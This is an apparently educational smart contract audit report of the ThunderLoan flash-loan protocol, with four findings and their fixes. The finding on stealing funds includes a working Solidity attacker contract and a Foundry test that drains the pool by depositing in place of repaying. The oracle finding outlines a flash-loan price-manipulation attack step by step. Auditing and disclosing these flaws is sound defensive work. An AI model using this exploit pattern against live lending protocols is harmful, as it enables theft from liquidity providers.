ThunderLoan Audit Report

Version 1.0

Lulox

June 16, 2024

ThunderLoan Audit Report

Lulox

June 16, 2024

Prepared by: Lulox Lead Auditors:

- Lulox

Table of Contents

Protocol Summary

This project is a lending market (similar to AAVE, one of the biggest lending and borrowing protocol) to provide liquidity to flashloan users, in exchange for fees that are accrued by the shareholders of the lending pool. A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

It uses TSwap Protocol as an oracle to maintain stability in the exchange rate.

Disclaimer

The Lulox team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash: `8803f851f6b37e99eab2e94b4690c8b70e26b3f6`

Scope

```
./src
#-- /interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- /protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- /upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Solc Version: 0.8.20 Chain(s) to deploy contract to: Ethereum ERC20s: USDC DAI LINK WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate, without collecting any fees.

```
1   function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4
5           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
6           emit Deposit(msg.sender, token, amount);
7           assetToken.mint(msg.sender, mintAmount);
8
9           // @audit-high This update breaks the protocol
10  @>        uint256 calculatedFee = getCalculatedFee(token, amount);
11  @>        assetToken.updateExchangeRate(calculatedFee);
12
13          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
14      }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading liquidity providers to potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flashloan
3. It is impossible for LP to redeem full balance.

Proof of Code Place the following into `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT); // fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        // initial deposit was 1000e18
        // 3e17 was the fee
        // 1000e18 + 3e17 = 10003e17
        // 100330090000000000000 = 1003.300900000000000000 ???

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high This update breaks the protocol
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Mixing up storage location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

IMPACT: High -> fees are going to be all janked up for the upgrade/storage collision is real bad LIKELIHOOD: High (only if the protocol upgrades)

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the posicion of storage variables, and removing storage variables for constant variables breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users that take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
  function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after upgrade: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee;
```

```
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: The `ThunderLoan::flashloan` function checks at the end of the function that the ending balance is bigger than the starting balance plus a fee:

```
    if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
```

But it doesn't check that the contract's balance has been increased through the `ThunderLoan::repay` function. If a user gives back to the contract through the `ThunderLoan::deposit` function, the protocol will think that the user has paid back the flashloan, while also crediting it the amount of the deposit up for `ThunderLoan::redeem`.

Impact: A malicious user could drain the contract funds

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
            ;
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

And the following contract within the same file:

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderloan;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderloan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        s_token.approve(address(thunderloan), amount + fee);
        thunderloan.deposit(s_token, amount + fee);
        return true;
    }

    function redeemMoney() public {
        thunderloan.redeem(s_token, type(uint256).max);
    }
}
```

Recommended Mitigation: Add a check in the `ThunderLoan::flashloan` function to see if the contract's balance has increased through the `ThunderLoan::deposit` function. Or at least add a check in `ThunderLoan::deposit` to see if the user is currently flashloaning.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidty.

Proof of Concept: This all happens in one transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    a. User sells 1000 `tokenA`, tanking the price.
    b. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
    c. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool`, this second flash loan is substantially cheaper.

```
1  function getPriceInWeth(address token) public view returns (uint256) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3          return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
               ();
4      }
```

```
1 d. The user then repays the first flash loan, and then repays the
     second flash loan
```

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.